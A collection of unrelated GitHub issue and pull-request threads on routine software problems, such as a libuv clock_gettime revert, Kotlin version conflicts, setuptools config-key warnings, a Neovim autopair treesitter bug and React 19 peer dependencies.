darwin: use clock_gettime only when available

As noted in the author's caveat, https://github.com/libuv/libuv/pull/1073 introduced a runtime link error when running on older operating systems.
The Xcode/Clang toolchain allows developers to define both a minimum and maximum OS on which the code will run. The clock_gettime symbol is only available when running on macOS 10.12, iOS 10.0, or later. Additionally, it's only defined in the corresponding SDKs.
To reproduce the issue:

Define environment variable MACOSX_DEPLOYMENT_TARGET=10.9 (or IPHONEOS_DEPLOYMENT_TARGET=8.0).
Compile libuv 1.10.2 with Xcode 8.2 or later and macOS 10.12 SDK (or iOS 10.0 SDK or later).
Run the code on Mac OS X 10.11.6 or earlier (or iOS 9.3.5 or earlier).

This change handles compiling against older or newer SDKs, before and after clock_gettime was declared, by including the clock_gettime call only if compiling with an SDK that declares it.

When compiling for an older maximum OS, we exclude the clock_gettime call and including only the mach_timebase_info call.
When compiling for an older minimum OS, but a newer maximum OS, we check for availability of the weak clock_gettime symbol at runtime, and fall back to mach_timebase_info if it is unavailable.
When compiling for a newer minimum OS, we exclude both the availability check and the fallback, and call only clock_gettime.

The presence of clock_gettime in the latest Apple SDKs is causing problems for other POSIX-friendly projects as well:
https://github.com/c-ares/c-ares/pull/75

I appreciate you took the time to put together a pull request but if it's such a hassle to make it build, I think I'd rather revert the clock_gettime change than add 50 lines of code.  clock_gettime() is only a marginal improvement over mach_absolute_time().

I'm with Ben here.  I'd be open to landing just the macOS part, the rest can use the fallback.

I'd be amenable to either solution. Which would you prefer I submit?

A clean revert is the least amount of work and churn.  @saghul Agree/disagree?

@bnoordhuis yeah, I guess so.  I'll try to keep it at the back of my head so we eventually switch to it and not have a separate implementation.
Also, since I introduced this, sorry for the trouble, everyone.

Alright. I've reverted my changes and @saghul's initial change.

@chris-araman LGTM but can you update the commit logs to explain why they are reverted?  I can do it too for you but rewriting other people's commit logs always feels a little awkward.

@bnoordhuis, is that what you meant, or did you want the previous commits amended as well?

@chris-araman can you format the commit message like the one in 8cbabaa81709562de68bcac0554e4e7af2f72cf6. Notice that the title is Revert "commit title being reverted". The commit message body also specifies the commit that is reverted, and explains why.

All set?

Almost. Not quite though. You can throw away the existing commits and just run git revert f8d4805087944cb8543d98109f5f83f4938eb4b5. Then, add your commit message and force push this branch.

OK. I've changed history to remove my proposed fixes for iOS, tvOS and watchOS as well.

Landed in f35674fe7f9560a5cc39c99e6d396cdcfda1ecfe. Thanks!


ModuleNotFoundError: No module named 'triton.common'

Hello, I've encountered the error as shown in the image since some hours ago, before that everything worked fine for me. Could you check it? Thank you

Reproducing code bellow:
!pip install unsloth
!pip install --upgrade --no-deps "unsloth[colab-new] @ git+https://github.com/unslothai/unsloth.git"
from unsloth import FastLanguageModel

By modifying the code as follow, everything worked again so I will close this
!pip install unsloth
!pip install "unsloth[colab-new] @ git+https://github.com/unslothai/unsloth.git"
!pip install --no-deps trl peft accelerate bitsandbytes
from unsloth import FastLanguageModel

@alansmithee-cpu Apologies on the delay! Oh yep removing the no-deps would make it work! The other option is to do pip install triton


documentation: Add relationships for SelectColumn

Thanks for the PR, @Xoshbin!
I'm not sure if this deserves it's own section in the documentation though as it's not a dedicated relationship API or something.
Thoughts, @danharrin?

I agree @zepfietje, this sort of thing is more of an example and belongs on https://filamentphp.com/tricks


timedelta improvements

I should be able to odo an interval into a timedelta.'
This also allows me to odo a timedelta into a pd.Timedelta

LGTM.

thanks!


Add geo provider options to deliveryservice pages for *STEERING DSs

This closes #1453

Refer to this link for build results (access rights to CI server needed):
https://builds.apache.org/job/incubator-trafficcontrol-PR/552/
Test PASSed.

Refer to this link for build results (access rights to CI server needed):
https://builds.apache.org/job/incubator-trafficcontrol-PR-trafficops-test/507/


Little change to make the code python 2 compatible

The  list object doesn't have the clear() function in python 2. So switched to an equivalent statement such it works in both python 2 and 3. And some typo fix and .gitignore updates. BTW nice app man !!

Thanks! I'm writing some long overdue tests for the Python side, after that I will merge your pull request.


Deprecation of Ray API

Seeing this on master:
(_RemoteRayXGBoostActor pid=64379) 2022-07-15 15:14:11,494      WARNING init.py:193 -- DeprecationWarning: ray.worker.get_resource_ids is a private attribute and access will be removed in a future Ray version.

cc @dmatrix- same issue you got

Yes indeed.

Same here, this should be fixed before Ray 2.0 is released!

I’m getting messages in this notebook in the master in this notebook.
https://github.com/dmatrix/misc-code/blob/master/py/ray/rayair/ray_air_in_ten_minutes.ipynb


Add a CHANGELOG

For reasons to keep a changelog, see
https://blog.dbrgn.ch/2015/12/1/rust-crates-keep-a-changelog/.
I prefer a manual changelog over generating one from conventional
commit message format. First of all it does not require you to follow
detailed conventions when naming your commits. Furthermore, a human can
summarize changes in a better way than a software tool.
Ideally the repository will include tags for all released versions in
the future (e.g. v0.0.8 for the next release). Then these tags can be
used in the CHANGELOG instead of commit IDs.
(You could also tag the old releases that were made in the past.)

Thanks for this!


Resizing

Have the option to provide Tuple of width/height and percentage

resize: takes in size and calls opencv
rescale: takes in scale, then calls resize after computing new dimensions.
sorry I didn't comment last week!


Deepspeed integration for 7B models

This PR attempts to bring deepspeed integration to empower tuning with 7B models. In the summarize from human feedback paper, the experimented with 1.3B, 2.7B, and 6.7B models, so this PR would in principle allow us to replicate that work.
Some of the notable changes needed to make things work:

mixed_precision: 'bf16' turns out to be important, otherwise OOM.
Initialize all models on CPU first and use  accelerator.prepare and deepspeed.initialize, otherwise OOM.
Enable bf16 for reward_model and ref_policy, otherwise OOM.
Do not log the histogram of ratio, otherwise OOM.
Enable gradient checkpointing, otherwise OOM.
In https://github.com/OpenLMLab/MOSS-RLHF/blob/40b91eb2f2b71b16919addede0341d2bef70825d/utils.py#L41-L43, they have an additional critic_model, which they finally offload reward_model, critic_model, and ref_policy to CPU, but it is not necessary in our case.

Here is a training run  https://wandb.ai/costa-huang/cleanRL/runs/kve7tu43/overview with
accelerate launch --config_file deepspeed.yaml lm_human_preference_details/train_policy_accelerate.py \
    --rewards.trained_model ''  \
    --base_model tiiuae/falcon-7b  \
    --no_use_tensorflow_adam \
    --ppo.gradient_accumulation_steps 64 \
    --track

Training results was pretty bad, but I think this is probably some issue related to model compatibility. To replicate summarize from human feedback paper, we should probably use the OPT models which have 1.3B, 2.7B, and 6.7B models.


Sign Bank:  text search not working properly

"HAVE" is not found (!)

just one example - this seems quite generally broken.

I accidentally broke this while trying to fix the "Enter to Submit" feature on the search form.  I will revert the change

Fixed


add missing fields

https://docs.camunda.org/manual/latest/reference/rest/history/incident/get-incident-query/
https://docs.camunda.org/manual/latest/reference/rest/history/process-instance/get-process-instance-query/

Please have a look at #91


Update to v0.9.7

Linter check found the following problems:
The following problems have been found:
WARNING: /tmp/abs_8awy7zjd_f/clone/recipe/meta.yaml:26: python_build_tool_in_run: The python build tool packaging is in run depends
Warnings were found

Linter check found the following problems:
The following problems have been found:
WARNING: /tmp/abs_38lgpsm8o6/clone/recipe/meta.yaml:25: python_build_tool_in_run: The python build tool packaging is in run depends
Warnings were found

Linter check found the following problems:
The following problems have been found:
WARNING: /tmp/abs_3fap_ps_cn/clone/recipe/meta.yaml:25: python_build_tool_in_run: The python build tool packaging is in run depends
Warnings were found


docs: update required nvim version

This updates the minimum required version in the help pages.  Neovim v0.5.0 🎉  !

LGTM


OSError: libnvrtc.so.9.0 not found

OSError

Hi @TianMingChen , could you please provide a minimal reproduce example?

Hi @TianMingChen , could you please provide a minimal reproduce example?

just laike this

libnvrtc.so.9.0 is a library of CUDA 9.0 Toolkit. Did you install CUDA 9.0 ?

libnvrtc.so.9.0 is a library of CUDA 9.0 Toolkit. Did you install CUDA 9.0 ?

yes,like this

Could you please try to run python3 demo.py rather than sudo python3 demo.py ?

Could you please try to run python3 demo.py rather than sudo python3 demo.py ?
I think the environment variables are different between root user and non-root user.

if I don't use sudo in this computer,it will have this problem in every code

Could you please try to run python3 demo.py rather than sudo python3 demo.py ?
I think the environment variables are different between root user and non-root user.

I try it in another computer

Could you please try to run python3 demo.py rather than sudo python3 demo.py ?
I think the environment variables are different between root user and non-root user.

if I don't use sudo in this computer,it will have this problem in every code

You can re-compile the NMS operator in SNIPER.

Could you please try to run python3 demo.py rather than sudo python3 demo.py ?
I think the environment variables are different between root user and non-root user.

if I don't use sudo in this computer,it will have this problem in every code

You can re-compile the NMS operator in SNIPER with non-root user.

Ok,I try it.


Documentation improvements

This PR:

Improves the script for generating API documentation
Adds Apple Quick Help documentation comments to cover undocumented public API

Also updates the API docs pages based on these changes

Adds some badges to the README (for consistency with the other Swift libraries)

Codecov Report

Merging #172 (3f60eda) into master (d4eaf82) will decrease coverage by 0.00%.
The diff coverage is n/a.

@@            Coverage Diff             @@
##           master     #172      +/-   ##
==========================================
- Coverage   90.24%   90.23%   -0.01%
==========================================
  Files          58       58
  Lines        2972     2981       +9
==========================================
+ Hits         2682     2690       +8
- Misses        290      291       +1

Impacted Files
Coverage Δ

Sources/Models/AuthData.swift
100.00% <ø> (ø)

Sources/PushNotifications.swift
87.80% <ø> (ø)

Sources/PushNotificationsStatic.swift
40.21% <ø> (ø)

Sources/Services/BeamsTokenProvider.swift
84.84% <ø> (ø)

Sources/Protocols/ReportEventType.swift
33.33% <0.00%> (-57.15%)
:arrow_down:

Sources/Extensions/URL+NetworkService.swift
80.00% <0.00%> (-20.00%)
:arrow_down:

Sources/Models/ServerSyncJob.swift
69.07% <0.00%> (-9.28%)
:arrow_down:

Sources/Services/NetworkService.swift
70.00% <0.00%> (-5.63%)
:arrow_down:

Sources/Services/ServerSyncProcessHandler.swift
82.21% <0.00%> (-0.40%)
:arrow_down:

Sources/Services/EventTypeHandler.swift
64.86% <0.00%> (+43.24%)
:arrow_up:

... and 1 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update d4eaf82...3f60eda. Read the comment docs.


Enable pack and unpack e2e tests for VMVX backend.

The CI error here is Issue #10796:

iree-compile: /work/third_party/llvm-project/mlir/lib/IR/AffineExpr.cpp:978: auto getSemiAffineExprFromFlatForm(ArrayRef<int64_t>, unsigned int, unsigned int, ArrayRefmlir::AffineExpr, mlir::MLIRContext *)::(anonymous class)::operator()(std::pair<unsigned int, int>, int64_t, mlir::AffineExpr) const: Assertion !llvm::is_contained(indices, index) && "Key is already present in indices vector and overwriting will " "happen in indexToExprMapandcoefficients`!"' failed.


Error when create new channel

Create new channel:
$pb->channel("apk-282828289l")->create("My Channel", "This channel will only push awesome stuff!");
and get error:
InvalidTokenException in Connection.php line 103: Insufficient authorization.
error details:
in Connection.php line 103
at Connection::sendCurlRequest('https://api.pushbullet.com/v2/channels', 'POST', array('name' => 'My Channel', 'description' => 'This channel will only push awesome stuff!', 'tag' => 'ap-72882'), true, 'o.G4fozxxxxxxxxxx') in Channel.php line 140
at Channel->create('My Channel', 'This channel will only push awesome stuff!')

Creating and deleting channels was never a documented API endpoint, and Pushbullet changed it. It's only possible to create/delete channels on the website now. I've deprecated the methods in https://github.com/ivkos/Pushbullet-for-PHP/commit/121435d5427ea4d220a6dec8df2e5fde206f29e4


[Bug] Inconsistent behavior when comparing property values with a string value

Bug Type (问题类型)
gremlin (结果不合预期)
Before submit

[X] 我已经确认现有的 Issues 与 FAQ 中没有相同 / 重复问题 (I have confirmed and searched that there are no similar problems in the historical issue and documents)

Environment (环境信息)

Server Version: 1.0.0 (Apache Release Version)
Backend: RocksDB x nodes, HDD or SSD
OS: xx CPUs, xx G RAM, Ubuntu 2x.x / CentOS 7.x
Data Size:  xx vertices, xx edges

Expected & Actual behavior (期望与实际表现)
I have noticed that HugeGraph does not support gte(STRING) from the previous issues. However, I can get the expected result when I remove HugeGraphStepStrategy.
Does HugeGraphStepStrategy add some restrictions? I think they should behave consistently.
gremlin> :> hugegraph.traversal().V().has('vp0', not(gte('10')))
Can't compare between 1(String) and 10(String)

gremlin> :> hugegraph.traversal().withoutStrategies(HugeGraphStepStrategy).V().has('vp0', not(gte('10')))
==>[id:700015037397336064,label:vl0,type:vertex,properties:[vp0:1]]

Vertex/Edge example (问题点 / 边数据举例)
No response
Schema [VertexLabel, EdgeLabel, IndexLabel] (元数据结构)
No response

Yes you are right, now the HugeGraphStepStrategy just supports numbers comparison.

Thank you for your reply. Looking forward to the new feature in the future.


Bug: Autopair doesn't respect comments or strings in d language

ultimate-autopair version: v0.6
nvim version: v0.9.4
luajit version: 2.1.1696795921
How it's supposed to work:

How it works:

I've tested a bit and narrowed it down:
// foreach (string l; layers) { // <- !!this brakes it!!
for (int i = 0; i < layers.length; ++i) {
}

If to have any code with unclosed pair it'll try to close it even if it shouldn't.
Tested it with other types of pairs and it breaks it for each of cases:
// ({["'
// This upper line will completely break autopair

Even more, autopair does respect \', but:
"'";
// Upperline breaks ' pairs
'"';
// And this one breaks " pairs

Same goes the other way
// }
// Upper line breaks { pair

And so it does for all of them.

First, do you have treesitter enabled?
If yes then pleas tell me the type of the nodes, as each treesitter language has its own name of a string/comment nodes type, and I will add them to the list of special tsnodes.

Yes I do and how do I get those nodes?

use :InspectTree and hover over the object, then in the tree view, copy the highlighted name.
Note to get the whole string tsnode type instead of just the string content tsnode type.

Not sure what you mean by whole string tsnode, but
"string"
     (exp_initializer) ; [4:12 - 19]
      (primary_expression) ; [4:12 - 19]
       (string_literals) ; [4:12 - 19]
        (double_quoted_string) ; [4:12 - 19]

'c' (char)
     (exp_initializer) ; [5:10 - 12]
      (primary_expression) ; [5:10 - 12]
       (character_literal) ; [5:10 - 12]

r"wysiwyg"
     (exp_initializer) ; [7:12 - 20]
      (primary_expression) ; [7:12 - 20]
       (string_literals) ; [7:12 - 20]
        (wysiwyg_string) ; [7:12 - 20]

`wysiwyg_alt`
     (exp_initializer) ; [6:12 - 17]
      (primary_expression) ; [6:12 - 17]
       (string_literals) ; [6:12 - 17]
        (alternate_wysiwyg_string) ; [6:12 - 17]

// comment
(line_comment) ; [1:1 - 2:0]

/* block comment */
(block_comment) ; [2:1 - 11]

/+ nested comment +/
(nesting_block_comment) ; [3:1 - 12]

This should be all of them I guess...
Language is d
Treesitter-D repo: https://github.com/CyberShadow/tree-sitter-d

Okay, added the tsnode types.
If everything works correctly, close the issue.

It did not work, everything is still as it was
Here's screenshot with InspectTree (had to properly init variables or it wouldn't parse correctly)

Which parts don't work?

None of them did

Hmm...
Try completely reinstalling the plugin (remove from plugin list, clean plugins, and add back), as there is something wrong with the repository which makes it sometimes not update.
If that doesn't work then the only option is you creating a minimal reproducible config/script. (as it works on my side (tested on neovim v9.1))

Attaching gif as proof
Minimal config:
local lazypath = vim.fn.stdpath("data") .. "/lazy/lazy.nvim"
if not vim.loop.fs_stat(lazypath) then
  vim.fn.system({
    "git",
    "clone",
    "--filter=blob:none",
    "https://github.com/folke/lazy.nvim.git",
    "--branch=stable", -- latest stable release
    lazypath,
  })
end
vim.opt.rtp:prepend(lazypath)

require('lazy').setup({
    {
        "altermo/ultimate-autopair.nvim",
        event = {"InsertEnter", "CmdlineEnter"},
        branch = "v0.6", -- TODO: check later
        config = function() require("ultimate-autopair").setup({}) end
    },
    {
        'nvim-treesitter/nvim-treesitter',
        config = function() require("nvim-treesitter").setup({}) end
    }
})

Steps to reproduce:

Open nvim
:e test.d
Type:

// {
{

Press } twice

You forgot to install the d treesitter module. (Just add build=":TSInstallSync d")
Also there's something about the comment treesitter module.
It breaks autopairing only on the first char on the next line of the comment.
i.e.
// {
{ //<-- this character
{ //<-- but not this one

The reasoning behind this behavior is that most languages treesitter comments don't extend to the end (next line), so I made it so that they are extended one character further, but d's treesitter comment nodes extend to the next line, so it detects that the first character next line as a comment.

I did installer treesitter module, otherwise InspectTree wouldn't work
Also you can clearly see in gif that I've stepped past "next line" and also strings weren't working either

Wow, sorry for that, the thing that makes it not work is using <enter> instead of (what I use) <esc>o (or <A-o>) when creating new lines.
I'll look into it, whether it is a bug in the plugin or a bug in something else, but that might take some time as I don't even know where to start.

Or not

Okay, I can't really make sense of it, depending on if some of the code was already in the file, whether you started the insertion of the comment part with O instead of i/a/o, and what kind of newline creator (<enter> or <esc>o) was used (note that <enter><esc>ddo==<enter> for some reason), it may or may not work.

That's super wierd

I found the issue... Where should I even begin:

The plugin create the key bindings <cr>, <space>, }, { and more.
Whenever the plugin processes a key, vim.treesitter.get_node and vim.treesitter.get_parser gets run.
If vim.treesitter.get_node or vim.treesitter.get_parser gets called near

I found the issue... Where should I even begin?
The happenings

The plugin creates some keybindings (including <space>, <cr>, { and })
When the plugin processes a key, vim.treesitter.get_parser gets called
When vim.treesitter.get_parser gets called when the cursor is near a comment, including the first char in the line after the comment, the d parser soft locks and processes everything after that as part of the comment (not exactly).

This doesn't happen after vim.treesitter.start gets called after the buffer is loaded (or something like that)

The temporary solution
Call vim.treesitter.start after the buffer is loaded with this:
vim.api.nvim_create_autocmd('FileType',{pattern='d',callback=function()
    vim.treesitter.start()
end})

minimal config with fix
local lazypath = vim.fn.stdpath("data") .. "/lazy/lazy.nvim"
if not vim.loop.fs_stat(lazypath) then
  vim.fn.system({
    "git",
    "clone",
    "--filter=blob:none",
    "https://github.com/folke/lazy.nvim.git",
    "--branch=stable", -- latest stable release
    lazypath,
  })
end
vim.opt.rtp:prepend(lazypath)

require('lazy').setup({
    {
        "altermo/ultimate-autopair.nvim",
        event = {"InsertEnter", "CmdlineEnter"},
        branch = "v0.6", -- TODO: check later
        config = function() require("ultimate-autopair").setup({}) end
    },
    {
        'nvim-treesitter/nvim-treesitter',
        config = function() require("nvim-treesitter").setup({}) end
    }
})
vim.api.nvim_create_autocmd('FileType',{pattern='d',callback=function()
    pcall(vim.treesitter.start)
end})

Further actions
I'll formulate a bug report about this to either neovim or the d-treesitter-parser if it isn't already present.

Okay, it is a problem with the d parser.

Okay, possibly fixed it. (6fd0d6a)

Dunno if it fixed original server, but I've switched my D lsp to https://github.com/gdamore/tree-sitter-d and it works like a charm (and autopair is now fine)
Server that nvim-treesitter provides by default is super crappy and honestly I have no idea why they haven't switched it yet
Also even with 6fd0d6a autopair is blazingly faster then most alternatives I've tried


question about path bounds decider

Why do the path bounds not include the ADC when generating regular path bounds, like it does when generating fallback path bounds? Is there any benefit to this design?

relate to path_lane_borrow_decider


Fix plist encoding error caused by chars in range 0x00-0x1f

Crash is caused by this code in plistlib.py: https://github.com/enthought/Python-2.7.3/blob/master/Lib/plistlib.py#L215
My fix removes specials characters, so plistlib can do its job.
Here is a stack trace:
2016-11-28 22:37:20 INFO: Outputting iTunes XML to '/Users/lendar/Music/iTunes/iTunes Library.xml'...
Traceback (most recent call last):
  File "./swinsian2itlxml.py", line 327, in <module>
    main()
  File "./swinsian2itlxml.py", line 322, in main
    itunes_music_folder=args.itunes_music_folder)
  File "./swinsian2itlxml.py", line 312, in generate_xml
    plistlib.writePlist(plist_dict, itunes_xml)
  File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/plistlib.py", line 94, in writePlist
    writer.writeValue(rootObject)
  File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/plistlib.py", line 252, in writeValue
    self.writeDict(value)
  File "./swinsian2itlxml.py", line 37, in writeDict
    self.writeValue(value)
  File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/plistlib.py", line 252, in writeValue
    self.writeDict(value)
  File "./swinsian2itlxml.py", line 37, in writeDict
    self.writeValue(value)
  File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/plistlib.py", line 252, in writeValue
    self.writeDict(value)
  File "./swinsian2itlxml.py", line 37, in writeDict
    self.writeValue(value)
  File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/plistlib.py", line 239, in writeValue
    self.simpleElement("string", value)
  File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/plistlib.py", line 172, in simpleElement
    value = _escapeAndEncode(value)
  File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/plistlib.py", line 215, in _escapeAndEncode
    raise ValueError("strings can't contains control characters; "
ValueError: strings can't contains control characters; use plistlib.Data instead

Thank you -- much appreciated. I've merged a similar fix along with update notes crediting you.


Bulb Icon

Icon Request

Icon name/desc: Bulb
Use case: can be used in many Websites as daylight theme
Screenshots of similar icons:

make two one is this which shows bulb glow and other is without sparkles.

You can find the non-optimized version in src/, but better update the teenyicons package. The same goes for #2.
Cheers!


Add model schema

Implement schema for stable diffusion model

hold this until https://github.com/alpaca-core/ac-local/issues/149 is done


Add support for React 19, radix-ui/react-forms.  While React 19 is still in beta it would be nice if the standard NPM install did not require --legacy-peer-deps

React 19 support
Current Behavior
When using React 19, e.g. "react": "^19.0.0-beta-26f2496093-20240514", in package.json running "npm install" gives this error:
"npm ERR! Conflicting peer dependency<EMAIL_ADDRESS>npm ERR! node_modules/react
npm ERR!   peer<EMAIL_ADDRESS>|| ^17 || ^18" from<EMAIL_ADDRESS>This is when using the latest: "@radix-ui/react-form": "^0.0.4-rc.6"
To overcome this error: "npm install --legacy-peer-deps"
Expected behavior
run "npm install" without error
Reproducible example
Package.json
{   "private": true,   "scripts": {     "clean": "rimraf .next",     "predev": "npm run clean",     "prebuild": "npm run clean",     "dev": "next dev",     "build": "next build",     "start": "next start",     "lint": "next lint"   },   "dependencies": {     "@babel/runtime": "^7.24.5",     "@hookform/resolvers": "^1.0.0-rc.2",     "@radix-ui/react-checkbox": "^1.0.4-rc.11",     "@radix-ui/react-form": "^0.0.4-rc.6",     "@radix-ui/react-icons": "^1.3.0",     "@stylexjs/babel-plugin": "^0.6.1",     "@stylexjs/open-props": "^0.6.1",     "@stylexjs/stylex": "^0.6.1",     "@supabase/ssr": "latest",     "@supabase/supabase-js": "latest",     "@tanstack/react-query": "^5.36.0",     "@tanstack/react-query-devtools": "^5.36.0",     "@vercel/speed-insights": "^1.0.10",     "babel-plugin-react-compiler": "^0.0.0-experimental-592953e-20240517",     "eslint-plugin-react-compiler": "^0.0.0-experimental-c8b3f72-20240517",     "next": "^14.3.0-canary.70",     "react": "^19.0.0-beta-26f2496093-20240514",     "react-dom": "^19.0.0-beta-26f2496093-20240514",     "react-hot-toast": "^2.4.1",     "sharp": "^0.33.4",     "typescript": "5.4.5"   },   "devDependencies": {     "@babel/plugin-transform-private-methods": "^7.24.1",     "@playwright/test": "^1.43.1",     "@stylexjs/dev-runtime": "^0.6.1",     "@stylexjs/eslint-plugin": "^0.6.1",     "@stylexjs/nextjs-plugin": "^0.6.1",     "@tanstack/eslint-plugin-query": "^5.35.6",     "@types/node": "20.12.12",     "@types/react": "18.3.2",     "@types/react-dom": "18.3.0",     "encoding": "^0.1.13",     "eslint": "^8.56.0",     "eslint-config-next": "latest",     "openapi-typescript": "^5.4.0",     "prettier-plugin-stylex-key-sort": "^1.0.1",     "rimraf": "^5.0.7"   } }
Suggested solution
update dependencies to allow installing with React 19
Additional context
Low priority since there is a work around, but wanted to get this on the radar
Your environment

Software
Name(s)
Version

Radix Package(s)
@radix-ui/react-form
^0.0.4-rc.6

React
n/a
^19.0.0-beta-26f2496093-20240514

Browser
n/a
n/a

Assistive tech
n/a
n/a

Node
n/a
v20.13.1

npm/yarn
npm
v10.5.2

Operating System
macos
14.5 (23F79)

Currently running into the same as well when installing react 19

This is fixed in the new release candidate versions – please let us know if you run into any other issues with React 19

@HelixHEX you need to use the latest RC version of that package (1.1.0-rc.6)

npm error code ERESOLVE npm error ERESOLVE unable to resolve dependency tree npm error npm error While resolving<EMAIL_ADDRESS>npm error Found<EMAIL_ADDRESS>npm error node_modules/react npm error<EMAIL_ADDRESS>from the root project npm error npm error Could not resolve dependency: npm error peer<EMAIL_ADDRESS>|| ^17.0 || ^18.0 || ^19.0" from<EMAIL_ADDRESS>npm error node_modules/@radix-ui/react-slot npm error<EMAIL_ADDRESS>from the root project npm error npm error Fix the upstream dependency conflict, or retry npm error this command with --force or --legacy-peer-deps npm error to accept an incorrect (and potentially broken) dependency resolution.

@BenAHammond the version I mentioned is only for the avatar primitive. Different primitives are versioned differently.

I pulled the versions by hand from: https://github.com/radix-ui/primitives/pull/2934/files#diff-37bc4c1b7269c234eb966725a0ff58be0d5e83f55886ae3c8f5357352cae6eee
"@radix-ui/react-checkbox": "^1.1.0-rc.6",
"@radix-ui/react-dialog": "^1.1.0-rc.6",
"@radix-ui/react-dropdown-menu": "^2.1.0-rc.6",
"@radix-ui/react-label": "^2.1.0-rc.6",
"@radix-ui/react-select": "^2.1.0-rc.6",
"@radix-ui/react-slot": "^1.1.0-rc.6",
"@radix-ui/react-tooltip": "^1.1.0-rc.6",

Further research indicates RC versions are considered "pre-release" and won't match "post-release" "^X.0" patterns.
We need to match<EMAIL_ADDRESS>|| ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" for the time being. I can submit a PR?

https://github.com/radix-ui/primitives/pull/2952


IDE: :id: not working anymore?

It looks like the autocompletion for :id: does not work anymore.
No ID is provided. For example:
.. req: My req
   :id:   <-- After the last ":" an id should be provided.

That's wired. It works for me. I will look into it.

@danwos Yes, I think it can be closed.


Provide support for dash-separated keys in setup.cfg, warns for future incompatibility of certain keys

Summary of changes

Closes #1608
This change will preserve dashes in the keys of setup.cfg. This will also implement a compatibility method which will warn users through UserWarning if they use an alias involving a dash which should technically be underscore separated (e.g. using author-email instead of author_email). After warning for these types of aliases, dash to underscore conversion will be performed for compatibility, but in the future Setuptools will no longer support the alias conversion.
Pull Request Checklist

[x] Changes have tests
[x] News fragment added in changelog.d/.
(See documentation for details)

Looks great. Well done!

Hi! I checked https://setuptools.readthedocs.io/en/latest/history.html#v54-1-0 but I wasn't entirely clear: is this meant to warn for all keys using hyphens in setup.cfg? For example, I see warnings for these Flake8 options:
$ cat setup.cfg
[flake8]
extend-ignore = E203
max-line-length = 88

[isort]
profile = black

[tool:pytest]
addopts = -ra --color=yes
testpaths = Tests
$ python setup.py --version
/Library/Frameworks/Python.framework/Versions/3.9/lib/python3.9/site-packages/setuptools/dist.py:633: UserWarning: Usage of dash-separated 'extend-ignore' will not be supported in future versions. Please use the underscore name 'extend_ignore' instead
  warnings.warn(
/Library/Frameworks/Python.framework/Versions/3.9/lib/python3.9/site-packages/setuptools/dist.py:633: UserWarning: Usage of dash-separated 'max-line-length' will not be supported in future versions. Please use the underscore name 'max_line_length' instead
  warnings.warn(
/Library/Frameworks/Python.framework/Versions/3.9/lib/python3.9/site-packages/setuptools/dist.py:633: UserWarning: Usage of dash-separated 'extend-ignore' will not be supported in future versions. Please use the underscore name 'extend_ignore' instead
  warnings.warn(
/Library/Frameworks/Python.framework/Versions/3.9/lib/python3.9/site-packages/setuptools/dist.py:633: UserWarning: Usage of dash-separated 'max-line-length' will not be supported in future versions. Please use the underscore name 'max_line_length' instead
  warnings.warn(
8.2.0.dev0

Flake8 themselves say both underscores and hyphens are fine in setup.cfg:
https://flake8.pycqa.org/en/latest/user/configuration.html#project-configuration
Thanks!

@hugovk
Hi! So prior to v54.1.0, setup.cfg read hyphens as underscores internally which is why flake8 said that you can use either hyphens or underscores because it was being converted to underscores in the background anyway. However this caused bugs for users who needed dashes to be preserved in setup.cfg. The recent warning is to warn for future deprecation of dashes in keys of setup.cfg for those keys which should actually be underscores. So the flake8 documentation was right before, but maybe now we should let them know so they can update it.
@jaraco

Oh, this was a case I hadn't considered during the review. I had expected it would only apply to sections that setuptools is using.
The setup.cfg file serves as a home for many projects outside the scope of distutils/setuptools. In that case, Setuptools probably shouldn't be as opinionated about the format of the keys. I'd like to avoid other projects needing to mirror this change.
I believe we should come up with a patch to avoid these warnings. I'll convert Hugo's comment to an issue. @melissa-kun-li Would you be interested in working on the patch? In this case, I'd say a test is optional. Use misc for the changelog.

@jaraco Sure! I'll work on a fix, I have an idea in mind


Incompatibility with react-native-iap: Kotlin version issue

When having both this package and react-native-iap, we cannot build for android, we get the following error:
Task :react-native-iap:compilePlayDebugKotlin FAILED
w: Runtime JAR files in the classpath should have the same version. These files were found in the classpath:

=> react-native-pager-view is using kotlin v1.4.0
react-native-iap is using kotlin v1.5.0
I tried changing my android/build.gradle with:
dependencies {
       ...
        classpath "org.jetbrains.kotlin:kotlin-gradle-plugin:1.5.0"
    }

But unfortunately the issue remains the same.
Anyone managed to fix this? :/

hi, same problem here. did you find any solution?

I simply brought my react-native-iap version down to ^7.5.3 and the issue went away. :)
Seems like they started using kotlin on v8.+

I just found a solution by upgrading kotlin version to 1.5.10

I have faced on the same issue. I tried to use kotlin 1.5.10 but failed still.
Please let me know if someone finds a good solution.
Thanks

try kotlin 1.5.31

Upgrade your kotlin plugin in react-native:
Go to android/build.gradle and change the following line:
classpath "org.jetbrains.kotlin:kotlin-gradle-plugin:<latest-version-here>"

I am still Facing this issue. can anyone help me please

I am still Facing this issue. can anyone help me please

I'm afraid it's too late, but here's a patch file that works for me:
I used kotlin v.1.6.0 for android root projct
My react-native project info

"react-native-iap": "^12.10.5",

"react-native": "0.71.8",

diff --git a/node_modules/react-native-iap/android/build.gradle b/node_modules/react-native-iap/android/build.gradle
index e636116..e84eb99 100644
--- a/node_modules/react-native-iap/android/build.gradle
+++ b/node_modules/react-native-iap/android/build.gradle
@@ -9,7 +9,7 @@ buildscript {

   dependencies {
     classpath "com.android.tools.build:gradle:7.4.2"
-    classpath "org.jetbrains.kotlin:kotlin-gradle-plugin:$kotlinVersion"
+    classpath "org.jetbrains.kotlin:kotlin-gradle-plugin:1.6.0"
   }
 }

diff --git a/node_modules/react-native-iap/android/gradle.properties b/node_modules/react-native-iap/android/gradle.properties
index b8db382..c5483c9 100644
--- a/node_modules/react-native-iap/android/gradle.properties
+++ b/node_modules/react-native-iap/android/gradle.properties
@@ -1,4 +1,4 @@
-RNIap_kotlinVersion=1.7.21
+RNIap_kotlinVersion=1.6.0
 RNIap_minSdkVersion=21
 RNIap_targetSdkVersion=31
 RNIap_compileSdkVersion=31


Move documentation to doc folder to make it more accessible.

